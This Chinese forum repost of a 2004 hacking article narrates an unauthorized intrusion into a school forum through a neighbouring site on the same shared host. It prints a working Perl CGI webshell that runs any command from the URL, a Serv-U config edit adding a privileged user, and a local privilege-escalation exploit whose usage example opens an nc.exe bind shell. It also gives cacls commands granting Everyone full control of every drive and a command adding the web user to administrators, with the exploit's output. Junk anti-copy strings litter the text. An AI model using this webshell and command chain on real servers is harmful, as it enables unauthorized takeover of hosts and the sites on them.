找回密码
 立即注册
查看: 2527|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击 8 o" ^, h( G, J* }/ g
本文作者:angel" b& L, [5 E! O# ^  V' E0 J
文章性质:原创/ U+ |# g( f+ O9 q3 H
发布日期:2004-11-09 - y/ M2 }! K+ y
注意:
8 b4 H: u! Q" v4 g( x1 B本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
; p9 ~: i+ l: ^$ j3 x! h/ M. m( v本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。; `' P/ ?4 n0 I  r. _% d. y; h; }
( Z7 X$ \* Q, J
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
1 j" o% }5 ]. b$ S$ ~  e  y
4 O, [+ h" k# ?' i. Y# F  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
* ~8 I" [5 p' Z7 A. a! a1 M0 M2 I% F- B
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 * H* ~( y' H4 y  z& W( }' B
" Q6 Z5 y& T% h$ N$ G1 X
  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
8 z9 E% U) G, I$ q8 k$ D( \9 w; |! I1 c$ l" ]2 o+ Q
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
6 Y+ ^+ D8 L' {  m
6 [3 W1 ~& W* D* z  K2 E  没有目的的跳转目录着…… . {/ C7 w9 Z8 X, H3 [  |, n: i, r

% w/ X$ ?, @1 s: u1 g  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… * H7 `7 ~* e# r9 [) \
: X: b7 }8 l3 I! E9 e, H) _
  结束了吗?不,我试着 FTP 一下: ! S9 z: d1 H3 Z+ N& [4 Y! B. v

1 n, _- p/ p0 WMicrosoft Windows 2000 [Version 5.00.2195]' P) z3 n; k' \' d7 U$ Q7 n) B2 k
(C) 版权所有 1985-2000 Microsoft Corp. + V) b" i2 @7 R# H1 _2 C

7 y8 R0 N1 Y( T0 cC:\Documents and Settings\Administrator>ftp www.school.com  M' P8 C2 G9 w3 v0 F; w  Z1 Q
Connected to www. school.com. * J1 ~+ r; S! a
220 Welcome to FTP Server... ) p, s) k7 L# P& j# J! @8 j0 h
User (www.bjtrq.com:(none)):
+ J) h2 G  {+ @& O# I- S# N331 User name okay, need password. , @( j% l/ w( t/ \, t# L5 x
Password: - M  _2 C( L+ N9 a- K1 p
530 Not logged in.
$ n# G, }6 T4 v* G' ?Login failed.
4 m; |: V" b1 Y. Q- |ftp> bye - c# i3 r, i, w4 C4 U2 J
221 Goodbye! , d' v- S: A0 x! n  g

( Z# U! y. F& y; D+ a6 c4 R5 C
) O& I. B9 @* q: y3 x  o  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… * q) E6 @! T1 A# y, ]
( r) O% r& N; K. Z3 \8 u
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
. h2 N* y: \. J1 S! N' H, O
  A! P0 F1 C& i$ n& k- XApplication Data
. a. y1 K( o2 D; hDocuments
: `8 {& O* ^9 R0 |9 x; tDRM
) e- U; {) |; }8 I% A; NFavorites  o0 O1 G- l3 y' o9 s- ]  \$ _
Templates. ]* }: U& d' W
「开始」菜单
: J9 O: ~- [- ?& Z* c桌面
8 q9 I, f( n! Q4 u
0 c2 F' u7 e9 s% V+ X6 ?+ N( Z; L% v) c# x  `" ]8 }( v$ ^
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, # d7 I' w; v" R+ p6 X
; H9 u/ P; s0 S, ]) s  G$ c( |: K
ActiveState ActivePerl 5.8' N2 {( V& T5 C; h5 k/ ~
Administrative Tools
8 E" V- D6 r  r; y4 ]Deerfield.com; ^! G0 Y; B! p
DTemp
/ {, o7 s2 K. D" l6 O! @# b6 L* M* \IPSentry% o( ]7 M) j+ z, H# I8 i' Y
MBM 57 `7 b' ]& }. P% B& S
NetMeter) O& y4 j% `* |5 B9 y
Network ICE7 U3 s' H+ Q; i. W/ q# m( s
Persits Software AspEmail
& p5 x: L, [0 d- R3 c& x5 pPersits Software AspJpeg/ t" S4 V( {' f4 V! R
Serv-U FTP Server" k; |& \3 z9 z0 I7 ~2 o6 @' ?
Symantec Client Security& m5 r' a; V) J
Windows 优化大师6 `$ u, _( ]8 N7 G( v+ |/ b; K+ C
WinRAR4 |  c+ i5 e( s6 \3 i( C
启动
/ r6 a1 `2 l9 [8 n管理工具
3 S9 s3 ?; I+ K, F$ c附件
& _& a, C5 g# d5 l. ^: {1 W8 d ) u) F4 ?( [$ v3 w' L2 \
; j8 k% Y5 @& T  ^' r
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 + w1 l/ T; l2 w

7 q" J5 C8 ]( z! ]1 u  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
# Y# x% H1 F9 K( N$ D: N9 v: w* O# o
User281=angel|1|0 # o9 `: r6 ~) Z& H9 `/ K: R

+ v" O- T5 ~, ?
* q  h  `" n& k4 r  然后加上 . O' A$ t& g7 z( q/ R6 }
9 y5 b# b0 c5 Y  e4 V. m
[USER=angel|1]& L9 N7 D% J" i+ }( r
Password=ng98F85379EA68DBF97BAADCA99B69B805
& ~" }" J+ r% d4 x: x" x' i& v7 CHomeDir=D:\websites7 r; o& v9 f$ l( Z0 T
RelPaths=13 h0 e4 X/ j2 Q" o
TimeOut=600( r- q8 P& }0 y3 O. u$ V9 E
Maintenance=System
: i9 w* J3 s' Y2 a& M% `6 UAccess1=D:\websites|RWAMELCDP
- @8 {; p" |* g* u+ e; gSKEYValues=
: Z- t2 ~" m2 l" P) m8 l. B
4 k3 [* B& f: f( v* c6 p6 H8 k/ L4 j  s# C- A" ~, L1 @
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… # ]# z1 A8 h0 ^! X9 p  b* L& R# U3 B, {
# A' i* P4 {, y  z
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
. |9 c4 i) u% b) G5 A
6 h3 X& e. c$ l: F" h5 N  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。   e$ E0 ?! q3 U

9 V5 t* ~' f2 D3 d  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
0 U/ v) Q/ F* u: w$ j5 G5 B5 ]# q3 w1 W
#!/usr/bin/perl
# {% @6 K# c, _binmode(STDOUT);
$ W7 A2 z6 q! Z# ^. Fsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);9 x* K& `! G6 `5 s: I
$_ = $ENV{QUERY_STRING};
9 {' O8 V* H3 D. `: Us/%20/ /ig;
9 H+ O  g& t& u9 \$ Os/%2f/\//ig;
4 \. i4 X$ p1 N, P+ ^$execthis = $_;
. O; R9 N8 N  a- ~4 Asyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
( M3 F" i0 [3 D/ n% kopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
9 j7 k+ M  q3 i& u8 O2 R& O0 Zsystem($execthis);+ ]6 c6 I- m& L# ?. N
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);  i. [3 I- [2 S6 Y
close(STDERR);
' f1 ^: }: E4 e3 K8 m5 f* `$ Eclose(STDOUT);3 \, J8 |( k/ s5 m3 k2 z! P
exit;
& q1 ]" `3 X+ ?3 Z  e ( ^" j9 a6 r+ {4 n; ]* M2 S: u

5 v7 D! c" i. ]  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! $ P  D) |4 Q, @" Y7 ], w
6 g7 k5 B' O$ L( [7 d2 d4 Y
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
+ P0 G& w2 G6 Y% v+ K' Q
6 s$ l  ^$ T, Y+ @http://anyhost//cmd.pl?d:\user\bin\su.exe 6 ~/ t1 J' U- a* e/ F
7 `5 \& o) K8 v- s* C1 p6 H

0 C0 H1 r2 L, N# b  J6 G  返回: & b' g6 p( I) v% i3 B
% F7 f+ m; T( B" o# x: u
Serv-u >3.x Local Exploit by xiaolu & g3 @- a# s# f  L
$ J2 w# }, I6 N: |% c; e9 q, B
USAGE: serv-u.exe "command" 4 k8 [5 V5 Z' z
( b4 v7 v# y; a1 Y8 o
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" . z- f3 W( e( \  l
) w0 S0 F+ ^8 ]6 q

3 B/ k- r0 u- ^7 e- W6 b* g  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
2 Y' n6 M+ |0 N, P3 R% q% ~, {9 N& \% F* Q
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
; k" Q; v; C5 X* S) f6 m( M, `/ c1 @2 w/ L
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" . y; E0 q) [- ]1 y
& I' I+ B# S5 u, y8 K( m# r( s
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" * M5 E6 y+ u8 h- t& u, S
& n8 n# \& ?2 V3 f3 ?& Y* C( S: w7 C
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" . @4 A; {0 X, A: V5 H, |! I" r) k2 E
% B! L* A9 J( k% [
9 [* e) I" s1 A) F& n( h/ h& t5 B- Y% t
  返回下面的信息,就表示成功了!!!
7 K, E7 d, ~! ~# @5 ]! r* \& V# Q& S6 h- m
Serv-u >3.x Local Exploit by xiaolu 3 O# p. ]% h" c$ u

1 h# u- a, E3 ~' C<220 Serv-U FTP Server v5.2 for WinSock ready...
9 |# B! n- l/ }$ n! Y' ~* E8 j* T4 E( k2 l
>USER LocalAdministrator 3 V! Z3 A. T  }0 E6 y( J
0 }) \1 h8 g' i; U0 q
<331 User name okay, need password.
1 S7 x. F1 x/ X  S
) @% X9 R& s; i; E******************************************************
  q0 j- {* P  L# y7 y$ P0 w4 h8 a  @( {3 B: Y0 a% V, n
>PASS #l@$ak#.lk;0@P 2 f" t0 B. S9 [
% u) [- c& Y- G8 [1 V
<230 User logged in, proceed. 0 W, y% Z, c- S0 x

: t/ c" H; X' ~1 _****************************************************** * A% H- A$ W4 W9 x/ W) ]
& ~( K* o' w. _
>SITE MAINTENANCE 9 O# |' I8 u1 V
- v" D/ {9 p8 I* g+ R3 u8 c0 r) D
******************************************************
! U5 i8 z8 [/ J% C
$ J3 {  H& R* p[+] Creating New Domain...
  x# o& ^/ y% r6 A4 M6 i3 Q( O8 g7 `( y3 l! C
<200-DomainID=2 2 y! A2 E; N" g' f0 @. ^

) x, E' U6 D# h' ]% [  F<220 Domain settings saved 3 L4 ?2 D9 Y7 L: R
% U  }! k0 {1 R+ u
******************************************************
# o4 I2 E- g% o# G9 ^6 Q$ R7 _7 h: E7 e) ?/ g
[+] Domain xl:2 Created
- g4 |7 @9 p: M; @7 E8 H
6 `4 _9 V$ o! o( `3 p% o[+] Creating Evil User
# [6 S2 F5 I6 `3 ^- j: N" {/ t
3 B6 K" s5 `8 Y: e" u) V+ q# W<200-User=xl
7 v) O( v: q' g" \8 T' m! o; D, V6 ~
200 User settings saved
: d0 W. t6 D; M% ]  v0 s
$ }8 W/ F  \+ ?$ c****************************************************** $ t9 \5 e6 C/ }" S# l

6 {# l+ ?7 {; R[+] Now Exploiting... $ ?) K6 Z8 i- E3 k4 s+ x- H

, ]( O, X& X" @: b+ [. Q5 M: w>USER xl 2 D' m/ b( t3 z' n
: L0 L9 t* {8 W- h5 K
<331 User name okay, need password.
: c) a0 V" L( B2 V6 e, T1 r" l& D( h1 X
****************************************************** + j" `: e6 l* ]2 j
! u( [7 f- U! R* {' p3 k% h( A% |
>PASS 111111 9 f! O+ P6 A0 R+ K. h9 {. ~- _
. _2 A' ?7 T* R$ ]  @
<230 User logged in, proceed. / G  C6 X8 f. t. O1 R2 D" E
- V; [9 C7 I8 e
****************************************************** ' G9 M/ V$ r9 [; x. z) b( w& @4 X3 e" A2 J
' i  l1 O5 w6 X+ D
[+] Now Executing: cacls.exe c: /E /T /G everyone:F ( {* R- t) N* O
7 c$ R" W" c2 i/ u+ Y$ ^8 U
<220 Domain deleted
; R- \8 g/ X# z% _: F9 ~) Q8 g" w, Q
, r6 T( L) n3 J  T# E) ^! e******************************************************
: O* M1 f; e8 F2 A+ M9 B; X
3 f1 E& S) B% p
* g2 R7 c" [8 W) c: O  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: 9 d+ N1 G" M# ^2 }  A
1 [4 x/ O2 \% k  n8 ^) {1 F2 G' X
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" ( B6 l# k0 F4 }3 u. a

; u% Z7 Y* c7 w; k1 T( P$ y
) D8 d5 l% G% i4 f# U! ~4 a  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 # l/ X- d0 U6 W7 b+ e8 j. {$ r

0 p; W7 \: L' B" y/ @! B& n  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
" _5 b0 B" O; G- @. V: o ; ^- q+ |8 O& k  [
  
; ~) D3 `- }/ c: R' M
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表